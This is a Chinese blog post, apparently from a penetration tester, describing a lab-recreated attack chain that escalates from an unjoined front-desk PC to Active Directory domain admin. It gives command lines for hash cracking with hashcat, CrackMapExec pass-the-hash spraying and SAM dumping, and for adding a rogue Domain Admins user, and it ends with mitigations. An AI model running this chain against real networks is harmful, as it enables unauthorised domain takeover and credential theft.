从外部获取Active Directory域管理员权限
2018年3月4日
…或者说为什么你应该确保所有Windows机器都加入域。
这是我博客上第一篇非Web相关的文章。我传统上是一名Web开发人员,这也是我对信息安全最初产生兴趣的地方。然而,自从我成功扩展到渗透测试领域后,Active Directory测试已成为我最喜欢的渗透测试类型。
这篇文章是关于我几年前进行的一次内部网络测试。这个客户的网络很难攻破,我之前测试过,所以我对再次为他们进行测试有些担心,生怕这次无法"成功入侵"。上一次我们只是勉强成功。
在内部测试中,我首先运行的是Responder工具。这会从本地子网的LLMNR或NetBIOS请求中获取Windows哈希。然而,这个客户很聪明,禁用了LLMNR和NetBIOS请求。尽管从上一次接触中已经知道这个事实,但我在OSCP课程中学到的一点是:总是先尝试简单的方法——如果前门开着,就没有必要从天窗闯入。
所以我运行了Responder,惊讶地看到捕获了以下哈希:
当然,我绝不会在博客上透露客户的机密信息,因此你在这里看到的所有内容都是匿名的,并在实验室中重新创建,细节已更改。
在这里我们可以看到主机172.16.157.133向我们发送了账户FRONTDESK的NETNTLMv2哈希。
使用Crack Map Exec(还有其他可用工具)检查该主机的NetBIOS信息,我们可以检查这是否是本地账户哈希。如果是,用户名的"域"部分: [SMBv2] NTLMv2-SSP 用户名 : 2-FD-87622\FRONTDESK
即2-FD-87622应该与主机的NetBIOS名称匹配。使用CME查找IP,我们可以看到主机名称匹配:
所以下一步是尝试破解这个哈希并获得明文密码。使用Hashcat加载rockyou.txt和规则,快速破解了密码。
hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
现在我们有了前台机器的凭证。再次使用CME访问该机器,但这次传递破解的凭证:
cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth
我们可以在输出中看到Pwn3d!,表明这是一个本地管理员账户。这意味着我们拥有转储本地密码哈希所需的权限:
cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam
注意我们可以看到 FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f::: 这次我们看到的是密码的NTLM哈希,而不是Responder之前捕获的NETNTLMv2"挑战/响应"哈希。Responder捕获的是传输中的哈希,这些与Windows存储在SAM中的格式不同。
下一步是尝试本地管理员哈希,并将其喷洒到客户的服务器范围。注意我们甚至不需要破解这个管理员密码,我们可以直接"传递哈希":
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
我们只能使用存储的NTLM格式传递哈希,不能使用NETNTLMv2网络格式(除非你选择执行"SMB中继"攻击)。
令我们惊讶的是,它命中了,本地管理员密码在STEWIE机器上被重复使用。查询该主机的NetBIOS信息:
$ cme smb 172.16.157.134
SMB 172.16.157.134 445 STEWIE
[*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE)
(signing:False) (SMBv1:True)
我们可以看到它是MACFARLANE域的成员,这是客户Active Directory的主域。
所以非域机器有一个本地管理员密码,该密码在内部服务器上被重复使用。我们现在可以使用Metasploit通过PsExec进入机器,使用NTLM作为密码,这将导致Metasploit传递哈希。
一旦运行,我们就获得了shell:
我们可以加载Mimikatz模块并读取Windows内存以查找密码:
看起来我们有了DA(域管理员)账户的详细信息。最后,我们使用CME在域控制器上执行命令,将自己添加为DA(仅用于概念验证,在现实生活中或为了更隐蔽,我们可以只使用发现的账户)。
cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add'
注意使用了未记录的/y功能来抑制Windows在添加超过14个字符的密码时给出的提示。
域控制器的远程桌面截图可以作为利用证明放入报告中:
所以如果这台前台机器加入了域,它就会禁用LLMNR(根据他们的组策略设置),我们就无法获得初始访问权限,也无法利用其秘密来危害整个域。当然,还有其他缓解措施,例如使用LAPS管理本地管理员密码,并设置FilterAdministratorToken以防止使用本地RID 500账户进行SMB登录(关于这个的好文章在这里)。